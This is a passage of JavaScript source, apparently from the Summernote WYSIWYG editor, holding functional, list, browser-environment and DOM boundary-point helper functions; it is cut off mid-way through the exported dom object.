function not(f) {
    return function () {
        return !f.apply(f, arguments);
    };
}
function and(fA, fB) {
    return function (item) {
        return fA(item) && fB(item);
    };
}
function self(a) {
    return a;
}
function invoke(obj, method) {
    return function () {
        return obj[method].apply(obj, arguments);
    };
}
var idCounter = 0;
/**
 * generate a globally-unique id
 *
 * @param {String} [prefix]
 */
function uniqueId(prefix) {
    var id = ++idCounter + '';
    return prefix ? prefix + id : id;
}
/**
 * returns bnd (bounds) from rect
 *
 * - IE Compatibility Issue: http://goo.gl/sRLOAo
 * - Scroll Issue: http://goo.gl/sNjUc
 *
 * @param {Rect} rect
 * @return {Object} bounds
 * @return {Number} bounds.top
 * @return {Number} bounds.left
 * @return {Number} bounds.width
 * @return {Number} bounds.height
 */
function rect2bnd(rect) {
    var $document = $(document);
    return {
        top: rect.top + $document.scrollTop(),
        left: rect.left + $document.scrollLeft(),
        width: rect.right - rect.left,
        height: rect.bottom - rect.top
    };
}
/**
 * returns a copy of the object where the keys have become the values and the values the keys.
 * @param {Object} obj
 * @return {Object}
 */
function invertObject(obj) {
    var inverted = {};
    for (var key in obj) {
        if (obj.hasOwnProperty(key)) {
            inverted[obj[key]] = key;
        }
    }
    return inverted;
}
/**
 * @param {String} namespace
 * @param {String} [prefix]
 * @return {String}
 */
function namespaceToCamel(namespace, prefix) {
    prefix = prefix || '';
    return prefix + namespace.split('.').map(function (name) {
        return name.substring(0, 1).toUpperCase() + name.substring(1);
    }).join('');
}
/**
 * Returns a function, that, as long as it continues to be invoked, will not
 * be triggered. The function will be called after it stops being called for
 * N milliseconds. If `immediate` is passed, trigger the function on the
 * leading edge, instead of the trailing.
 * @param {Function} func
 * @param {Number} wait
 * @param {Boolean} immediate
 * @return {Function}
 */
function debounce(func, wait, immediate) {
    var _this = this;
    var timeout;
    return function () {
        var context = _this;
        var args = arguments;
        var later = function () {
            timeout = null;
            if (!immediate) {
                func.apply(context, args);
            }
        };
        var callNow = immediate && !timeout;
        clearTimeout(timeout);
        timeout = setTimeout(later, wait);
        if (callNow) {
            func.apply(context, args);
        }
    };
}
var func = {
    eq: eq,
    eq2: eq2,
    peq2: peq2,
    ok: ok,
    fail: fail,
    self: self,
    not: not,
    and: and,
    invoke: invoke,
    uniqueId: uniqueId,
    rect2bnd: rect2bnd,
    invertObject: invertObject,
    namespaceToCamel: namespaceToCamel,
    debounce: debounce
};

/**
 * returns the first item of an array.
 *
 * @param {Array} array
 */
function head(array) {
    return array[0];
}
/**
 * returns the last item of an array.
 *
 * @param {Array} array
 */
function last(array) {
    return array[array.length - 1];
}
/**
 * returns everything but the last entry of the array.
 *
 * @param {Array} array
 */
function initial(array) {
    return array.slice(0, array.length - 1);
}
/**
 * returns the rest of the items in an array.
 *
 * @param {Array} array
 */
function tail(array) {
    return array.slice(1);
}
/**
 * returns item of array
 */
function find(array, pred) {
    for (var idx = 0, len = array.length; idx < len; idx++) {
        var item = array[idx];
        if (pred(item)) {
            return item;
        }
    }
}
/**
 * returns true if all of the values in the array pass the predicate truth test.
 */
function all(array, pred) {
    for (var idx = 0, len = array.length; idx < len; idx++) {
        if (!pred(array[idx])) {
            return false;
        }
    }
    return true;
}
/**
 * returns index of item
 */
function indexOf(array, item) {
    return $$1.inArray(item, array);
}
/**
 * returns true if the value is present in the list.
 */
function contains(array, item) {
    return indexOf(array, item) !== -1;
}
/**
 * get sum from a list
 *
 * @param {Array} array - array
 * @param {Function} fn - iterator
 */
function sum(array, fn) {
    fn = fn || func.self;
    return array.reduce(function (memo, v) {
        return memo + fn(v);
    }, 0);
}
/**
 * returns a copy of the collection with array type.
 * @param {Collection} collection - collection eg) node.childNodes, ...
 */
function from(collection) {
    var result = [];
    var length = collection.length;
    var idx = -1;
    while (++idx < length) {
        result[idx] = collection[idx];
    }
    return result;
}
/**
 * returns whether list is empty or not
 */
function isEmpty$1(array) {
    return !array || !array.length;
}
/**
 * cluster elements by predicate function.
 *
 * @param {Array} array - array
 * @param {Function} fn - predicate function for cluster rule
 * @param {Array[]}
 */
function clusterBy(array, fn) {
    if (!array.length) {
        return [];
    }
    var aTail = tail(array);
    return aTail.reduce(function (memo, v) {
        var aLast = last(memo);
        if (fn(last(aLast), v)) {
            aLast[aLast.length] = v;
        }
        else {
            memo[memo.length] = [v];
        }
        return memo;
    }, [[head(array)]]);
}
/**
 * returns a copy of the array with all false values removed
 *
 * @param {Array} array - array
 * @param {Function} fn - predicate function for cluster rule
 */
function compact(array) {
    var aResult = [];
    for (var idx = 0, len = array.length; idx < len; idx++) {
        if (array[idx]) {
            aResult.push(array[idx]);
        }
    }
    return aResult;
}
/**
 * produces a duplicate-free version of the array
 *
 * @param {Array} array
 */
function unique(array) {
    var results = [];
    for (var idx = 0, len = array.length; idx < len; idx++) {
        if (!contains(results, array[idx])) {
            results.push(array[idx]);
        }
    }
    return results;
}
/**
 * returns next item.
 * @param {Array} array
 */
function next(array, item) {
    var idx = indexOf(array, item);
    if (idx === -1) {
        return null;
    }
    return array[idx + 1];
}
/**
 * returns prev item.
 * @param {Array} array
 */
function prev(array, item) {
    var idx = indexOf(array, item);
    if (idx === -1) {
        return null;
    }
    return array[idx - 1];
}
/**
 * @class core.list
 *
 * list utils
 *
 * @singleton
 * @alternateClassName list
 */
var lists = {
    head: head,
    last: last,
    initial: initial,
    tail: tail,
    prev: prev,
    next: next,
    find: find,
    contains: contains,
    all: all,
    sum: sum,
    from: from,
    isEmpty: isEmpty$1,
    clusterBy: clusterBy,
    compact: compact,
    unique: unique
};

var isSupportAmd = typeof define === 'function' && define.amd; // eslint-disable-line
/**
 * returns whether font is installed or not.
 *
 * @param {String} fontName
 * @return {Boolean}
 */
function isFontInstalled(fontName) {
    var testFontName = fontName === 'Comic Sans MS' ? 'Courier New' : 'Comic Sans MS';
    var $tester = $$1('<div>').css({
        position: 'absolute',
        left: '-9999px',
        top: '-9999px',
        fontSize: '200px'
    }).text('mmmmmmmmmwwwwwww').appendTo(document.body);
    var originalWidth = $tester.css('fontFamily', testFontName).width();
    var width = $tester.css('fontFamily', fontName + ',' + testFontName).width();
    $tester.remove();
    return originalWidth !== width;
}
var userAgent = navigator.userAgent;
var isMSIE = /MSIE|Trident/i.test(userAgent);
var browserVersion;
if (isMSIE) {
    var matches = /MSIE (\d+[.]\d+)/.exec(userAgent);
    if (matches) {
        browserVersion = parseFloat(matches[1]);
    }
    matches = /Trident\/.*rv:([0-9]{1,}[.0-9]{0,})/.exec(userAgent);
    if (matches) {
        browserVersion = parseFloat(matches[1]);
    }
}
var isEdge = /Edge\/\d+/.test(userAgent);
var hasCodeMirror = !!window.CodeMirror;
if (!hasCodeMirror && isSupportAmd) {
    // Webpack
    if (typeof __webpack_require__ === 'function') {
        try {
            // If CodeMirror can't be resolved, `require.resolve` will throw an
            // exception and `hasCodeMirror` won't be set to `true`.
            require.resolve('codemirror');
            hasCodeMirror = true;
        }
        catch (e) {
            // do nothing
        }
    }
    else if (typeof require !== 'undefined') {
        // Browserify
        if (typeof require.resolve !== 'undefined') {
            try {
                // If CodeMirror can't be resolved, `require.resolve` will throw an
                // exception and `hasCodeMirror` won't be set to `true`.
                require.resolve('codemirror');
                hasCodeMirror = true;
            }
            catch (e) {
                // do nothing
            }
            // Almond/Require
        }
        else if (typeof require.specified !== 'undefined') {
            hasCodeMirror = require.specified('codemirror');
        }
    }
}
var isSupportTouch = (('ontouchstart' in window) ||
    (navigator.MaxTouchPoints > 0) ||
    (navigator.msMaxTouchPoints > 0));
// [workaround] IE doesn't have input events for contentEditable
// - see: https://goo.gl/4bfIvA
var inputEventName = (isMSIE || isEdge) ? 'DOMCharacterDataModified DOMSubtreeModified DOMNodeInserted' : 'input';
/**
 * @class core.env
 *
 * Object which check platform and agent
 *
 * @singleton
 * @alternateClassName env
 */
var env = {
    isMac: navigator.appVersion.indexOf('Mac') > -1,
    isMSIE: isMSIE,
    isEdge: isEdge,
    isFF: !isEdge && /firefox/i.test(userAgent),
    isPhantom: /PhantomJS/i.test(userAgent),
    isWebkit: !isEdge && /webkit/i.test(userAgent),
    isChrome: !isEdge && /chrome/i.test(userAgent),
    isSafari: !isEdge && /safari/i.test(userAgent),
    browserVersion: browserVersion,
    jqueryVersion: parseFloat($$1.fn.jquery),
    isSupportAmd: isSupportAmd,
    isSupportTouch: isSupportTouch,
    hasCodeMirror: hasCodeMirror,
    isFontInstalled: isFontInstalled,
    isW3CRangeSupport: !!document.createRange,
    inputEventName: inputEventName
};

var NBSP_CHAR = String.fromCharCode(160);
var ZERO_WIDTH_NBSP_CHAR = '\ufeff';
/**
 * @method isEditable
 *
 * returns whether node is `note-editable` or not.
 *
 * @param {Node} node
 * @return {Boolean}
 */
function isEditable(node) {
    return node && $$1(node).hasClass('note-editable');
}
/**
 * @method isControlSizing
 *
 * returns whether node is `note-control-sizing` or not.
 *
 * @param {Node} node
 * @return {Boolean}
 */
function isControlSizing(node) {
    return node && $$1(node).hasClass('note-control-sizing');
}
/**
 * @method makePredByNodeName
 *
 * returns predicate which judge whether nodeName is same
 *
 * @param {String} nodeName
 * @return {Function}
 */
function makePredByNodeName(nodeName) {
    nodeName = nodeName.toUpperCase();
    return function (node) {
        return node && node.nodeName.toUpperCase() === nodeName;
    };
}
/**
 * @method isText
 *
 *
 *
 * @param {Node} node
 * @return {Boolean} true if node's type is text(3)
 */
function isText(node) {
    return node && node.nodeType === 3;
}
/**
 * @method isElement
 *
 *
 *
 * @param {Node} node
 * @return {Boolean} true if node's type is element(1)
 */
function isElement(node) {
    return node && node.nodeType === 1;
}
/**
 * ex) br, col, embed, hr, img, input, ...
 * @see http://www.w3.org/html/wg/drafts/html/master/syntax.html#void-elements
 */
function isVoid(node) {
    return node && /^BR|^IMG|^HR|^IFRAME|^BUTTON|^INPUT/.test(node.nodeName.toUpperCase());
}
function isPara(node) {
    if (isEditable(node)) {
        return false;
    }
    // Chrome(v31.0), FF(v25.0.1) use DIV for paragraph
    return node && /^DIV|^P|^LI|^H[1-7]/.test(node.nodeName.toUpperCase());
}
function isHeading(node) {
    return node && /^H[1-7]/.test(node.nodeName.toUpperCase());
}
var isPre = makePredByNodeName('PRE');
var isLi = makePredByNodeName('LI');
function isPurePara(node) {
    return isPara(node) && !isLi(node);
}
var isTable = makePredByNodeName('TABLE');
var isData = makePredByNodeName('DATA');
function isInline(node) {
    return !isBodyContainer(node) &&
        !isList(node) &&
        !isHr(node) &&
        !isPara(node) &&
        !isTable(node) &&
        !isBlockquote(node) &&
        !isData(node);
}
function isList(node) {
    return node && /^UL|^OL/.test(node.nodeName.toUpperCase());
}
var isHr = makePredByNodeName('HR');
function isCell(node) {
    return node && /^TD|^TH/.test(node.nodeName.toUpperCase());
}
var isBlockquote = makePredByNodeName('BLOCKQUOTE');
function isBodyContainer(node) {
    return isCell(node) || isBlockquote(node) || isEditable(node);
}
var isAnchor = makePredByNodeName('A');
function isParaInline(node) {
    return isInline(node) && !!ancestor(node, isPara);
}
function isBodyInline(node) {
    return isInline(node) && !ancestor(node, isPara);
}
var isBody = makePredByNodeName('BODY');
/**
 * returns whether nodeB is closest sibling of nodeA
 *
 * @param {Node} nodeA
 * @param {Node} nodeB
 * @return {Boolean}
 */
function isClosestSibling(nodeA, nodeB) {
    return nodeA.nextSibling === nodeB ||
        nodeA.previousSibling === nodeB;
}
/**
 * returns array of closest siblings with node
 *
 * @param {Node} node
 * @param {function} [pred] - predicate function
 * @return {Node[]}
 */
function withClosestSiblings(node, pred) {
    pred = pred || func.ok;
    var siblings = [];
    if (node.previousSibling && pred(node.previousSibling)) {
        siblings.push(node.previousSibling);
    }
    siblings.push(node);
    if (node.nextSibling && pred(node.nextSibling)) {
        siblings.push(node.nextSibling);
    }
    return siblings;
}
/**
 * blank HTML for cursor position
 * - [workaround] old IE only works with &nbsp;
 * - [workaround] IE11 and other browser works with bogus br
 */
var blankHTML = env.isMSIE && env.browserVersion < 11 ? '&nbsp;' : '<br>';
/**
 * @method nodeLength
 *
 * returns #text's text size or element's childNodes size
 *
 * @param {Node} node
 */
function nodeLength(node) {
    if (isText(node)) {
        return node.nodeValue.length;
    }
    if (node) {
        return node.childNodes.length;
    }
    return 0;
}
/**
 * returns whether node is empty or not.
 *
 * @param {Node} node
 * @return {Boolean}
 */
function isEmpty(node) {
    var len = nodeLength(node);
    if (len === 0) {
        return true;
    }
    else if (!isText(node) && len === 1 && node.innerHTML === blankHTML) {
        // ex) <p><br></p>, <span><br></span>
        return true;
    }
    else if (lists.all(node.childNodes, isText) && node.innerHTML === '') {
        // ex) <p></p>, <span></span>
        return true;
    }
    return false;
}
/**
 * padding blankHTML if node is empty (for cursor position)
 */
function paddingBlankHTML(node) {
    if (!isVoid(node) && !nodeLength(node)) {
        node.innerHTML = blankHTML;
    }
}
/**
 * find nearest ancestor predicate hit
 *
 * @param {Node} node
 * @param {Function} pred - predicate function
 */
function ancestor(node, pred) {
    while (node) {
        if (pred(node)) {
            return node;
        }
        if (isEditable(node)) {
            break;
        }
        node = node.parentNode;
    }
    return null;
}
/**
 * find nearest ancestor only single child blood line and predicate hit
 *
 * @param {Node} node
 * @param {Function} pred - predicate function
 */
function singleChildAncestor(node, pred) {
    node = node.parentNode;
    while (node) {
        if (nodeLength(node) !== 1) {
            break;
        }
        if (pred(node)) {
            return node;
        }
        if (isEditable(node)) {
            break;
        }
        node = node.parentNode;
    }
    return null;
}
/**
 * returns new array of ancestor nodes (until predicate hit).
 *
 * @param {Node} node
 * @param {Function} [optional] pred - predicate function
 */
function listAncestor(node, pred) {
    pred = pred || func.fail;
    var ancestors = [];
    ancestor(node, function (el) {
        if (!isEditable(el)) {
            ancestors.push(el);
        }
        return pred(el);
    });
    return ancestors;
}
/**
 * find farthest ancestor predicate hit
 */
function lastAncestor(node, pred) {
    var ancestors = listAncestor(node);
    return lists.last(ancestors.filter(pred));
}
/**
 * returns common ancestor node between two nodes.
 *
 * @param {Node} nodeA
 * @param {Node} nodeB
 */
function commonAncestor(nodeA, nodeB) {
    var ancestors = listAncestor(nodeA);
    for (var n = nodeB; n; n = n.parentNode) {
        if ($$1.inArray(n, ancestors) > -1) {
            return n;
        }
    }
    return null; // difference document area
}
/**
 * listing all previous siblings (until predicate hit).
 *
 * @param {Node} node
 * @param {Function} [optional] pred - predicate function
 */
function listPrev(node, pred) {
    pred = pred || func.fail;
    var nodes = [];
    while (node) {
        if (pred(node)) {
            break;
        }
        nodes.push(node);
        node = node.previousSibling;
    }
    return nodes;
}
/**
 * listing next siblings (until predicate hit).
 *
 * @param {Node} node
 * @param {Function} [pred] - predicate function
 */
function listNext(node, pred) {
    pred = pred || func.fail;
    var nodes = [];
    while (node) {
        if (pred(node)) {
            break;
        }
        nodes.push(node);
        node = node.nextSibling;
    }
    return nodes;
}
/**
 * listing descendant nodes
 *
 * @param {Node} node
 * @param {Function} [pred] - predicate function
 */
function listDescendant(node, pred) {
    var descendants = [];
    pred = pred || func.ok;
    // start DFS(depth first search) with node
    (function fnWalk(current) {
        if (node !== current && pred(current)) {
            descendants.push(current);
        }
        for (var idx = 0, len = current.childNodes.length; idx < len; idx++) {
            fnWalk(current.childNodes[idx]);
        }
    })(node);
    return descendants;
}
/**
 * wrap node with new tag.
 *
 * @param {Node} node
 * @param {Node} tagName of wrapper
 * @return {Node} - wrapper
 */
function wrap(node, wrapperName) {
    var parent = node.parentNode;
    var wrapper = $$1('<' + wrapperName + '>')[0];
    parent.insertBefore(wrapper, node);
    wrapper.appendChild(node);
    return wrapper;
}
/**
 * insert node after preceding
 *
 * @param {Node} node
 * @param {Node} preceding - predicate function
 */
function insertAfter(node, preceding) {
    var next = preceding.nextSibling;
    var parent = preceding.parentNode;
    if (next) {
        parent.insertBefore(node, next);
    }
    else {
        parent.appendChild(node);
    }
    return node;
}
/**
 * append elements.
 *
 * @param {Node} node
 * @param {Collection} aChild
 */
function appendChildNodes(node, aChild) {
    $$1.each(aChild, function (idx, child) {
        node.appendChild(child);
    });
    return node;
}
/**
 * returns whether boundaryPoint is left edge or not.
 *
 * @param {BoundaryPoint} point
 * @return {Boolean}
 */
function isLeftEdgePoint(point) {
    return point.offset === 0;
}
/**
 * returns whether boundaryPoint is right edge or not.
 *
 * @param {BoundaryPoint} point
 * @return {Boolean}
 */
function isRightEdgePoint(point) {
    return point.offset === nodeLength(point.node);
}
/**
 * returns whether boundaryPoint is edge or not.
 *
 * @param {BoundaryPoint} point
 * @return {Boolean}
 */
function isEdgePoint(point) {
    return isLeftEdgePoint(point) || isRightEdgePoint(point);
}
/**
 * returns whether node is left edge of ancestor or not.
 *
 * @param {Node} node
 * @param {Node} ancestor
 * @return {Boolean}
 */
function isLeftEdgeOf(node, ancestor) {
    while (node && node !== ancestor) {
        if (position(node) !== 0) {
            return false;
        }
        node = node.parentNode;
    }
    return true;
}
/**
 * returns whether node is right edge of ancestor or not.
 *
 * @param {Node} node
 * @param {Node} ancestor
 * @return {Boolean}
 */
function isRightEdgeOf(node, ancestor) {
    if (!ancestor) {
        return false;
    }
    while (node && node !== ancestor) {
        if (position(node) !== nodeLength(node.parentNode) - 1) {
            return false;
        }
        node = node.parentNode;
    }
    return true;
}
/**
 * returns whether point is left edge of ancestor or not.
 * @param {BoundaryPoint} point
 * @param {Node} ancestor
 * @return {Boolean}
 */
function isLeftEdgePointOf(point, ancestor) {
    return isLeftEdgePoint(point) && isLeftEdgeOf(point.node, ancestor);
}
/**
 * returns whether point is right edge of ancestor or not.
 * @param {BoundaryPoint} point
 * @param {Node} ancestor
 * @return {Boolean}
 */
function isRightEdgePointOf(point, ancestor) {
    return isRightEdgePoint(point) && isRightEdgeOf(point.node, ancestor);
}
/**
 * returns offset from parent.
 *
 * @param {Node} node
 */
function position(node) {
    var offset = 0;
    while ((node = node.previousSibling)) {
        offset += 1;
    }
    return offset;
}
function hasChildren(node) {
    return !!(node && node.childNodes && node.childNodes.length);
}
/**
 * returns previous boundaryPoint
 *
 * @param {BoundaryPoint} point
 * @param {Boolean} isSkipInnerOffset
 * @return {BoundaryPoint}
 */
function prevPoint(point, isSkipInnerOffset) {
    var node;
    var offset;
    if (point.offset === 0) {
        if (isEditable(point.node)) {
            return null;
        }
        node = point.node.parentNode;
        offset = position(point.node);
    }
    else if (hasChildren(point.node)) {
        node = point.node.childNodes[point.offset - 1];
        offset = nodeLength(node);
    }
    else {
        node = point.node;
        offset = isSkipInnerOffset ? 0 : point.offset - 1;
    }
    return {
        node: node,
        offset: offset
    };
}
/**
 * returns next boundaryPoint
 *
 * @param {BoundaryPoint} point
 * @param {Boolean} isSkipInnerOffset
 * @return {BoundaryPoint}
 */
function nextPoint(point, isSkipInnerOffset) {
    var node, offset;
    if (nodeLength(point.node) === point.offset) {
        if (isEditable(point.node)) {
            return null;
        }
        node = point.node.parentNode;
        offset = position(point.node) + 1;
    }
    else if (hasChildren(point.node)) {
        node = point.node.childNodes[point.offset];
        offset = 0;
    }
    else {
        node = point.node;
        offset = isSkipInnerOffset ? nodeLength(point.node) : point.offset + 1;
    }
    return {
        node: node,
        offset: offset
    };
}
/**
 * returns whether pointA and pointB is same or not.
 *
 * @param {BoundaryPoint} pointA
 * @param {BoundaryPoint} pointB
 * @return {Boolean}
 */
function isSamePoint(pointA, pointB) {
    return pointA.node === pointB.node && pointA.offset === pointB.offset;
}
/**
 * returns whether point is visible (can set cursor) or not.
 *
 * @param {BoundaryPoint} point
 * @return {Boolean}
 */
function isVisiblePoint(point) {
    if (isText(point.node) || !hasChildren(point.node) || isEmpty(point.node)) {
        return true;
    }
    var leftNode = point.node.childNodes[point.offset - 1];
    var rightNode = point.node.childNodes[point.offset];
    if ((!leftNode || isVoid(leftNode)) && (!rightNode || isVoid(rightNode))) {
        return true;
    }
    return false;
}
/**
 * @method prevPointUtil
 *
 * @param {BoundaryPoint} point
 * @param {Function} pred
 * @return {BoundaryPoint}
 */
function prevPointUntil(point, pred) {
    while (point) {
        if (pred(point)) {
            return point;
        }
        point = prevPoint(point);
    }
    return null;
}
/**
 * @method nextPointUntil
 *
 * @param {BoundaryPoint} point
 * @param {Function} pred
 * @return {BoundaryPoint}
 */
function nextPointUntil(point, pred) {
    while (point) {
        if (pred(point)) {
            return point;
        }
        point = nextPoint(point);
    }
    return null;
}
/**
 * returns whether point has character or not.
 *
 * @param {Point} point
 * @return {Boolean}
 */
function isCharPoint(point) {
    if (!isText(point.node)) {
        return false;
    }
    var ch = point.node.nodeValue.charAt(point.offset - 1);
    return ch && (ch !== ' ' && ch !== NBSP_CHAR);
}
/**
 * @method walkPoint
 *
 * @param {BoundaryPoint} startPoint
 * @param {BoundaryPoint} endPoint
 * @param {Function} handler
 * @param {Boolean} isSkipInnerOffset
 */
function walkPoint(startPoint, endPoint, handler, isSkipInnerOffset) {
    var point = startPoint;
    while (point) {
        handler(point);
        if (isSamePoint(point, endPoint)) {
            break;
        }
        var isSkipOffset = isSkipInnerOffset &&
            startPoint.node !== point.node &&
            endPoint.node !== point.node;
        point = nextPoint(point, isSkipOffset);
    }
}
/**
 * @method makeOffsetPath
 *
 * return offsetPath(array of offset) from ancestor
 *
 * @param {Node} ancestor - ancestor node
 * @param {Node} node
 */
function makeOffsetPath(ancestor, node) {
    var ancestors = listAncestor(node, func.eq(ancestor));
    return ancestors.map(position).reverse();
}
/**
 * @method fromOffsetPath
 *
 * return element from offsetPath(array of offset)
 *
 * @param {Node} ancestor - ancestor node
 * @param {array} offsets - offsetPath
 */
function fromOffsetPath(ancestor, offsets) {
    var current = ancestor;
    for (var i = 0, len = offsets.length; i < len; i++) {
        if (current.childNodes.length <= offsets[i]) {
            current = current.childNodes[current.childNodes.length - 1];
        }
        else {
            current = current.childNodes[offsets[i]];
        }
    }
    return current;
}
/**
 * @method splitNode
 *
 * split element or #text
 *
 * @param {BoundaryPoint} point
 * @param {Object} [options]
 * @param {Boolean} [options.isSkipPaddingBlankHTML] - default: false
 * @param {Boolean} [options.isNotSplitEdgePoint] - default: false
 * @return {Node} right node of boundaryPoint
 */
function splitNode(point, options) {
    var isSkipPaddingBlankHTML = options && options.isSkipPaddingBlankHTML;
    var isNotSplitEdgePoint = options && options.isNotSplitEdgePoint;
    // edge case
    if (isEdgePoint(point) && (isText(point.node) || isNotSplitEdgePoint)) {
        if (isLeftEdgePoint(point)) {
            return point.node;
        }
        else if (isRightEdgePoint(point)) {
            return point.node.nextSibling;
        }
    }
    // split #text
    if (isText(point.node)) {
        return point.node.splitText(point.offset);
    }
    else {
        var childNode = point.node.childNodes[point.offset];
        var clone = insertAfter(point.node.cloneNode(false), point.node);
        appendChildNodes(clone, listNext(childNode));
        if (!isSkipPaddingBlankHTML) {
            paddingBlankHTML(point.node);
            paddingBlankHTML(clone);
        }
        return clone;
    }
}
/**
 * @method splitTree
 *
 * split tree by point
 *
 * @param {Node} root - split root
 * @param {BoundaryPoint} point
 * @param {Object} [options]
 * @param {Boolean} [options.isSkipPaddingBlankHTML] - default: false
 * @param {Boolean} [options.isNotSplitEdgePoint] - default: false
 * @return {Node} right node of boundaryPoint
 */
function splitTree(root, point, options) {
    // ex) [#text, <span>, <p>]
    var ancestors = listAncestor(point.node, func.eq(root));
    if (!ancestors.length) {
        return null;
    }
    else if (ancestors.length === 1) {
        return splitNode(point, options);
    }
    return ancestors.reduce(function (node, parent) {
        if (node === point.node) {
            node = splitNode(point, options);
        }
        return splitNode({
            node: parent,
            offset: node ? position(node) : nodeLength(parent)
        }, options);
    });
}
/**
 * split point
 *
 * @param {Point} point
 * @param {Boolean} isInline
 * @return {Object}
 */
function splitPoint(point, isInline) {
    // find splitRoot, container
    //  - inline: splitRoot is a child of paragraph
    //  - block: splitRoot is a child of bodyContainer
    var pred = isInline ? isPara : isBodyContainer;
    var ancestors = listAncestor(point.node, pred);
    var topAncestor = lists.last(ancestors) || point.node;
    var splitRoot, container;
    if (pred(topAncestor)) {
        splitRoot = ancestors[ancestors.length - 2];
        container = topAncestor;
    }
    else {
        splitRoot = topAncestor;
        container = splitRoot.parentNode;
    }
    // if splitRoot is exists, split with splitTree
    var pivot = splitRoot && splitTree(splitRoot, point, {
        isSkipPaddingBlankHTML: isInline,
        isNotSplitEdgePoint: isInline
    });
    // if container is point.node, find pivot with point.offset
    if (!pivot && container === point.node) {
        pivot = point.node.childNodes[point.offset];
    }
    return {
        rightNode: pivot,
        container: container
    };
}
function create(nodeName) {
    return document.createElement(nodeName);
}
function createText(text) {
    return document.createTextNode(text);
}
/**
 * @method remove
 *
 * remove node, (isRemoveChild: remove child or not)
 *
 * @param {Node} node
 * @param {Boolean} isRemoveChild
 */
function remove(node, isRemoveChild) {
    if (!node || !node.parentNode) {
        return;
    }
    if (node.removeNode) {
        return node.removeNode(isRemoveChild);
    }
    var parent = node.parentNode;
    if (!isRemoveChild) {
        var nodes = [];
        for (var i = 0, len = node.childNodes.length; i < len; i++) {
            nodes.push(node.childNodes[i]);
        }
        for (var i = 0, len = nodes.length; i < len; i++) {
            parent.insertBefore(nodes[i], node);
        }
    }
    parent.removeChild(node);
}
/**
 * @method removeWhile
 *
 * @param {Node} node
 * @param {Function} pred
 */
function removeWhile(node, pred) {
    while (node) {
        if (isEditable(node) || !pred(node)) {
            break;
        }
        var parent = node.parentNode;
        remove(node);
        node = parent;
    }
}
/**
 * @method replace
 *
 * replace node with provided nodeName
 *
 * @param {Node} node
 * @param {String} nodeName
 * @return {Node} - new node
 */
function replace(node, nodeName) {
    if (node.nodeName.toUpperCase() === nodeName.toUpperCase()) {
        return node;
    }
    var newNode = create(nodeName);
    if (node.style.cssText) {
        newNode.style.cssText = node.style.cssText;
    }
    appendChildNodes(newNode, lists.from(node.childNodes));
    insertAfter(newNode, node);
    remove(node);
    return newNode;
}
var isTextarea = makePredByNodeName('TEXTAREA');
/**
 * @param {jQuery} $node
 * @param {Boolean} [stripLinebreaks] - default: false
 */
function value($node, stripLinebreaks) {
    var val = isTextarea($node[0]) ? $node.val() : $node.html();
    if (stripLinebreaks) {
        return val.replace(/[\n\r]/g, '');
    }
    return val;
}
/**
 * @method html
 *
 * get the HTML contents of node
 *
 * @param {jQuery} $node
 * @param {Boolean} [isNewlineOnBlock]
 */
function html($node, isNewlineOnBlock) {
    var markup = value($node);
    if (isNewlineOnBlock) {
        var regexTag = /<(\/?)(\b(?!!)[^>\s]*)(.*?)(\s*\/?>)/g;
        markup = markup.replace(regexTag, function (match, endSlash, name) {
            name = name.toUpperCase();
            var isEndOfInlineContainer = /^DIV|^TD|^TH|^P|^LI|^H[1-7]/.test(name) &&
                !!endSlash;
            var isBlockNode = /^BLOCKQUOTE|^TABLE|^TBODY|^TR|^HR|^UL|^OL/.test(name);
            return match + ((isEndOfInlineContainer || isBlockNode) ? '\n' : '');
        });
        markup = $$1.trim(markup);
    }
    return markup;
}
function posFromPlaceholder(placeholder) {
    var $placeholder = $$1(placeholder);
    var pos = $placeholder.offset();
    var height = $placeholder.outerHeight(true); // include margin
    return {
        left: pos.left,
        top: pos.top + height
    };
}
function attachEvents($node, events) {
    Object.keys(events).forEach(function (key) {
        $node.on(key, events[key]);
    });
}
function detachEvents($node, events) {
    Object.keys(events).forEach(function (key) {
        $node.off(key, events[key]);
    });
}
/**
 * @method isCustomStyleTag
 *
 * assert if a node contains a "note-styletag" class,
 * which implies that's a custom-made style tag node
 *
 * @param {Node} an HTML DOM node
 */
function isCustomStyleTag(node) {
    return node && !isText(node) && lists.contains(node.classList, 'note-styletag');
}
var dom = {
    /** @property {String} NBSP_CHAR */
    NBSP_CHAR: NBSP_CHAR,
    /** @property {String} ZERO_WIDTH_NBSP_CHAR */
    ZERO_WIDTH_NBSP_CHAR: ZERO_WIDTH_NBSP_CHAR,
    /** @property {String} blank */
    blank: blankHTML,
    /** @property {String} emptyPara */
    emptyPara: "<p>" + blankHTML + "</p>",
    makePredByNodeName: makePredByNodeName,
    isEditable: isEditable,
    isControlSizing: isControlSizing,
    isText: isText,
    isElement: isElement,
    isVoid: isVoid,
    isPara: isPara,
    isPurePara: isPurePara,
    isHeading: isHeading,
    isInline: isInline,
    isBlock: func.not(isInline),
    isBodyInline: isBodyInline,
    isBody: isBody,
    isParaInline: isParaInline,
    isPre: isPre,
    isList: isList,
    isTable: isTable,
    isData: isData,
    isCell: isCell,
    isBlockquote: isBlockquote,
    isBodyContainer: isBodyContainer,
    isAnchor: isAnchor,
    isDiv: makePredByNodeName('DIV'),
    isLi: isLi,
    isBR: makePredByNodeName('BR'),
    isSpan: makePredByNodeName('SPAN'),
    isB: makePredByNodeName('B'),
    isU: makePredByNodeName('U'),
    isS: makePredByNodeName('S'),
    isI: makePredByNodeName('I'),
    isImg: makePredByNodeName('IMG'),
    isTextarea: isTextarea,
    isEmpty: isEmpty,
    isEmptyAnchor: func.and(isAnchor, isEmpty),
    isClosestSibling: isClosestSibling,
    withClosestSiblings: withClosestSiblings,
    nodeLength: nodeLength,
    isLeftEdgePoint: isLeftEdgePoint,
    isRightEdgePoint: isRightEdgePoint,
    isEdgePoint: isEdgePoint,
    isLeftEdgeOf: isLeftEdgeOf,
    isRightEdgeOf: isRightEdgeOf,
    isLeftEdgePointOf: isLeftEdgePointOf,
    isRightEdgePointOf: isRightEdgePointOf,
    prevPoint: prevPoint,
    nextPoint: nextPoint,
    isSamePoint: isSamePoint,
    isVisiblePoint: isVisiblePoint,
    prevPointUntil: prevPointUntil,
    nextPointUntil: nextPointUntil,
    isCharPoint: isCharPoint,
    walkPoint: walkPoint,
    ancestor: ancestor,
    singleChildAncestor: singleChildAncestor,
    listAncestor: listAncestor,
    lastAncestor: lastAncestor,
    listNext: listNext,
    listPrev: listPrev,
    listDescendant: listDescendant,
    commonAncestor: commonAncestor,
    wrap: wrap,
    insertAfter: insertAfter,
    appendChildNodes: appendChildNodes,
    position: position,
